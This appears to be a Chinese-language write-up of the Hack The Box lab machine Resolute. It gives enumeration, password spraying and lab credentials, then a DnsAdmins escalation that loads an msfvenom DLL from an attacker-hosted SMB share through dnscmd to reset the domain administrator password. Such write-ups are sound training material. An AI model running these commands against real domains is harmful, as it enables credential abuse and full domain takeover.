HTB-Resolute
靶机ip:10.10.10.169
知识点
- 密码喷洒
- 利用DnsAdmins提权
信息收集
nmap扫描
拿nmap扫一下
nmap -sS -sV -sC 10.10.10.169
分析发现有DNS服务、kerberos服务、ldap服务、smb服务,域名为megabank.local
SMB
简单测试一下
smbclient -L //10.10.10.169
匿名登陆成功但是没什么有用的信息
ldap
ldapsearch -H ldap://10.10.10.169:389 -x -s base -b "" namingcontexts
也没啥有用信息
RPC
利用RPC远程过程调用枚举用户
rpcclient -U "" -N 10.10.10.169
枚举用户
enumdomusers
显示用户详细列表信息
querydispinfo
找到用户名密码:marko : Welcome123!
尝试rpcclient和smbclient登录
smbclient -U marko -L //10.10.10.169
rpcclient -U marko -N 10.10.10.169
都失败了。
密码喷洒
既然marko用户登录不上,不妨拿这个密码去试试其他的用户,利用crackmapexec工具尝试密码喷洒攻击
先将之前通过rpcclient的enumdomusers命令拿到的用户名列表保存为users
写个python脚本将其提取到users.txt中
1 | # 打开uusers.txt文件进行读取 |
使用crackmapexec进行密码喷洒
crackmapexec smb 10.10.10.169 -u ./users.txt -p Welcome123!
发现melanie用户可以登录,使用evil-winrm登录
evil-winrm -i 10.10.10.169 -u melanie -p Welcome123!
在Desktop上找到user.txt
AD域提权
BloodHound信息搜集
将SharpHound.exe传上去运行
将结果zip下载下来,拿bloodhoun分析
点击Find Shortest Paths to Domain Admins后,发现当前用户没有什么明显利用的点,但是发现在这个域中还有一个ryan用户,但是不知道密码,只能从当前melanie用户入手了
查看Powershell日志文件获得用户名密码
查找可疑文件时,在C:/目录下运行ls -force命令后发现如下结果:
其中PSTranscripts有点可疑,该英文直译是PS传输脚本,仔细查看一下这个目录
在C:\PSTranscripts\20191203目录下找到PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt文件,该文件可能是Powershell的日志之类的文件,查看一下
这里貌似是ryan用户的用户名和密码,尝试登陆下
evil-winrm -i 10.10.10.169 -u ryan -p 'Serv3r4Admin4cc123!'
登录成功
利用DnsAdmins提权
在桌面发现note.txt文件,内容如下:
翻译过来就是
发送给团队的电子邮件:
- 由于更改冻结,任何系统更改(除了对管理员帐户的更改)都将在1分钟内自动恢复
在查看bloodhound的过程中发现下面情况:
发现ryan用户属于contractors组,而contractors组又属于dnsadmins组,所以ryan用户属于dnsadmins组
就可以利用 DnsAdmins权限进行AD域提权
DNSAdmins组的成员可以访问网络DNS信息。默认权限如下: 允许:读取、写入、创建所有子对象、删除子对象、特殊权限。dnsadmins 组的成员可用于通过
dll注入将权限提升到管理员。
首先使用msf生成dll文件,将dll文件传到机器上
msfvenom -p windows/x64/exec cmd='net user administrator abc123! /domain' -f dll > evil.dll
因为正常upload传文件会被杀掉,这里考虑使用smb传文件
python3 /usr/share/doc/python3-impacket/examples/smbserver.py share ./
在靶机上的ps里头执行
cmd /c dnscmd 127.0.0.1 /config /serverlevelplugindll \\10.10.14.28\share\evil.dll
接着执行如下命令重启dns服务
1 | sc.exe stop dns |
此时,之前利用python起的smbserver服务会收到回显
最后利用psexec.py登录,输入密码
python3 /usr/share/doc/python3-impacket/examples/psexec.py megabank.local/administrator@10.10.10.169
最后在Administrator的Desktop找到root.txt
































